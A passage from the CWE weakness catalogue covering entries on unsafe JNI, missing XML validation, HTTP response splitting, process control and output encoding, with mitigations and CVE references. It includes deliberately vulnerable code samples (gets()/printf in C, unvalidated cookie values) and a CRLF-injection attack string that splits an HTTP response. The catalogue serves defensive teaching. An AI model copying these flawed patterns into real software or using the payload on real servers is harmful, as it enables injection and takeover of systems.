Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1164	Irrelevant Code	1823

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<p><i>It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</i></p>	

### Detection Methods

#### Automated Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

*Effectiveness = Moderate*

#### Manual Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

*Effectiveness = Moderate*

### Demonstrative Examples

#### Example 1:

This example shows an inconsistency between an action form and a validation form. with a third field.

This first block of code shows an action form that has two fields, startDate and endDate.

*Example Language: Java*

*(Bad)*

```
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

*Example Language: XML*

*(Bad)*

```
<form name="DateRangeForm">
  <field property="startDate" depends="date">
    <arg0 key="start.date"/>
  </field>
```

```

<field property="endDate" depends="date">
  <arg0 key="end.date"/>
</field>
<field property="scale" depends="integer">
  <arg0 key="range.scale"/>
</field>
</form>

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Validator Without Form Field
Software Fault Patterns	SFP24		Tainted input to command

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-111: Direct Use of Unsafe JNI

**Weakness ID** : 111

**Structure** : Simple

**Abstraction** : Variant

### Description

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

### Extended Description

Many safety features that programmers may take for granted do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	695	Use of Low-Level Functionality	1425

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

Implement error handling around the JNI call.

#### Phase: Implementation

*Strategy = Refactoring*

Do not use JNI calls if you don't trust the native library.

#### Phase: Implementation

*Strategy = Refactoring*

Be reluctant to use JNI calls. A Java API equivalent may exist.

### Demonstrative Examples

#### Example 1:

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

*Example Language: Java*

*(Bad)*

```
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

*Example Language: C*

*(Bad)*

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations

safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of `gets()`, which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	<b>C</b>	1151	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)	1133	2246

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unsafe JNI
The CERT Oracle Secure Coding Standard for Java (2011)	SEC08-J		Define wrappers around native methods
SEI CERT Oracle Coding Standard for Java	JNI01-J		Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance (loadLibrary)
SEI CERT Oracle Coding Standard for Java	JNI00-J	Imprecise	Define wrappers around native methods
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/](https://samate.nist.gov/SSATTM_Content/)

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-41]Fortify Software. "Fortify Descriptions". < http://vulnecat.fortifysoftware.com >.

[REF-42]Beth Stearns. "The Java(TM) Tutorial: The Java Native Interface". 2005. Sun Microsystems. < http://www.eg.bucknell.edu/~mead/Java-tutorial/native1.1/index.html >.

## CWE-112: Missing XML Validation

**Weakness ID** : 112  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product accepts XML from an untrusted source but does not validate the XML against the proper schema.

### Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1286	Improper Validation of Syntactic Correctness of Input	1970

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1215	Data Validation Issues	2271

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Input Validation*



Always validate XML input against a known XML Schema or DTD. It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

## Demonstrative Examples

### Example 1:

The following code loads and parses an XML file.

Example Language: Java

(Bad)

```
// Read DOM
try {
  ...
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  factory.setValidating( false );
  ....
  c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
  ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

### Example 2:

The following code creates a DocumentBuilder object to be used in building an XML document.

Example Language: Java

(Bad)

```
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing XML Validation
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/](https://samate.nist.gov/SSATTM_Content/)

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

## CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

**Weakness ID** : 113

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

### Extended Description

HTTP agents or components may include a web server, load balancer, reverse proxy, web caching proxy, application firewall, web browser, etc. Regardless of the role, they are expected to maintain coherent, consistent HTTP communication state across all components. However, including unexpected data in an HTTP header allows an attacker to specify the entirety of the HTTP message that is rendered by the client HTTP agent (e.g., web browser) or back-end HTTP agent (e.g., web server), whether the message is part of a request or a response.

When an HTTP request contains unexpected CR and LF characters, the server may respond with an output stream that is interpreted as "splitting" the stream into two different HTTP messages instead of one. CR is carriage return, also given by %0d or \r, and LF is line feed, also given by %0a or \n.

In addition to CR and LF characters, other valid/RFC compliant special characters and unique character encodings can be utilized, such as HT (horizontal tab, also given by %09 or \t) and SP (space, also given as + sign or %20).

These types of unvalidated and unexpected data in HTTP message headers allow an attacker to control the second "split" message to mount attacks such as server-side request forgery, cross-site scripting, and cache poisoning attacks.



HTTP response splitting weaknesses may be present when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.
2. The data is included in an HTTP response header sent to a web user without neutralizing malicious characters that can be interpreted as separator characters for headers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000
ChildOf		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	211

Nature	Type	ID	Name	Page
CanPrecede		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Alternate Terms

**HTTP Request Splitting** :

**HTTP Response Splitting** :

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Gain Privileges or Assume Identity	
	<i>CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the message that the application intends to send/receive, as well as allowing them to create additional messages entirely under their control.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might

treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

*Example Language: Java*

*(Bad)*

```
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

*Example Language:*

*(Result)*

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is composed of unvalidated user input, the response will only maintain this form if the value submitted for AUTHOR\_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

*Example Language:*

*(Attack)*

```
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n
```

then the HTTP response would be split into two responses of the following form:

*Example Language:*

*(Result)*

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
```

The second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

- cross-user defacement
- web and browser cache poisoning

- cross-site scripting
- page hijacking

**Example 2:**

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server.

Cross-User Defacement can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

- In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
- In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

**Example 3:**

The impact of a maliciously constructed response can be magnified if it is cached, either by a web cache used by multiple users or even the browser cache of a single user.

Cache Poisoning: if a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

**Example 4:**

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.

Cross-Site Scripting: cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

**Example 5:**

In addition to using a vulnerable application to send malicious content to a user, the same weakness can also be leveraged to redirect sensitive content generated by the server to the attacker instead of the intended user.

Page Hijacking: by submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server to the attacker instead of the intended user.

Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

### Observed Examples

Reference	Description
<b>CVE-2020-15811</b>	Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning <a href="https://www.cve.org/CVERecord?id=CVE-2020-15811">https://www.cve.org/CVERecord?id=CVE-2020-15811</a>
<b>CVE-2021-41084</b>	Scala-based HTTP interface allows request splitting and response splitting through header names, header values, status reasons, and URIs <a href="https://www.cve.org/CVERecord?id=CVE-2021-41084">https://www.cve.org/CVERecord?id=CVE-2021-41084</a>
<b>CVE-2018-12116</b>	Javascript-based framework allows request splitting through a path option of an HTTP request <a href="https://www.cve.org/CVERecord?id=CVE-2018-12116">https://www.cve.org/CVERecord?id=CVE-2018-12116</a>
<b>CVE-2004-2146</b>	Application accepts CRLF in an object ID, allowing HTTP response splitting. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2146">https://www.cve.org/CVERecord?id=CVE-2004-2146</a>
<b>CVE-2004-1656</b>	Shopping cart allows HTTP response splitting to perform HTML injection via CRLF in a parameter for a url <a href="https://www.cve.org/CVERecord?id=CVE-2004-1656">https://www.cve.org/CVERecord?id=CVE-2004-1656</a>
<b>CVE-2005-2060</b>	Bulletin board allows response splitting via CRLF in parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2060">https://www.cve.org/CVERecord?id=CVE-2005-2060</a>
<b>CVE-2004-2512</b>	Response splitting via CRLF in PHPSESSID. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2512">https://www.cve.org/CVERecord?id=CVE-2004-2512</a>
<b>CVE-2005-1951</b>	e-commerce app allows HTTP response splitting using CRLF in object id parameters <a href="https://www.cve.org/CVERecord?id=CVE-2005-1951">https://www.cve.org/CVERecord?id=CVE-2005-1951</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			HTTP response splitting
7 Pernicious Kingdoms			HTTP Response Splitting
WASC	25		HTTP Response Splitting
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
34	HTTP Response Splitting
85	AJAX Footprinting
105	HTTP Request Splitting



## References

- [REF-43]OWASP. "OWASP TOP 10". < [http://www.owasp.org/index.php/Top\\_10\\_2007](http://www.owasp.org/index.php/Top_10_2007) >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-1272]Robert Auger. "HTTP Request Splitting". 2011 February 1. < <http://projects.webappsec.org/w/page/13246929/HTTP%20Request%20Splitting> >.

## CWE-114: Process Control

**Weakness ID** : 114  
**Structure** : Simple  
**Abstraction** : Class

### Description

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

### Extended Description

Process control vulnerabilities take two forms:

- An attacker can change the command that the program executes: the attacker explicitly controls what the command is.
- An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		73	External Control of File Name or Path	128

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Integrity Availability		

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

## Demonstrative Examples

### Example 1:

The following code uses `System.loadLibrary()` to load code from a native library named `library.dll`, which is normally found in a standard system directory.

*Example Language: Java*

*(Bad)*

```
...
System.loadLibrary("library.dll");
...
```

The problem here is that `System.loadLibrary()` accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of `library.dll` higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's `library.dll` will now be run with elevated privileges, possibly giving them complete control of the system.

### Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

*Example Language: C*

*(Bad)*

```
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
    strcpy(lib,home);
    strcat(lib,INITCMD);
    LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

**Example 3:**

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

Example Language: C

(Bad)

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

**Affected Resources**

- System Process

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2209

**Notes**

**Maintenance**

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

**Maintenance**

This entry seems to have close relationships with CWE-426/CWE-427. It seems more attack-oriented.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Process Control

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
108	Command Line Execution through SQL Injection
640	Inclusion of Code in Existing Process

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-115: Misinterpretation of Input

**Weakness ID** : 115  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Observed Examples

Reference	Description
<b>CVE-2005-2225</b>	Product sees dangerous file extension in free text of a group discussion, disconnects all users. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2225">https://www.cve.org/CVERecord?id=CVE-2005-2225</a>
<b>CVE-2001-0003</b>	Product does not correctly import and process security settings from another product. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0003">https://www.cve.org/CVERecord?id=CVE-2001-0003</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		977	SFP Secondary Cluster: Design	888	2200

## Notes

### Research Gap

This concept needs further study. It is likely a factor in several weaknesses, possibly resultant as well. Overlaps Multiple Interpretation Errors (MIE).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Misinterpretation Error

## CWE-116: Improper Encoding or Escaping of Output

**Weakness ID :** 116

**Structure :** Simple

**Abstraction :** Class

### Description

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

### Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most products follow a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

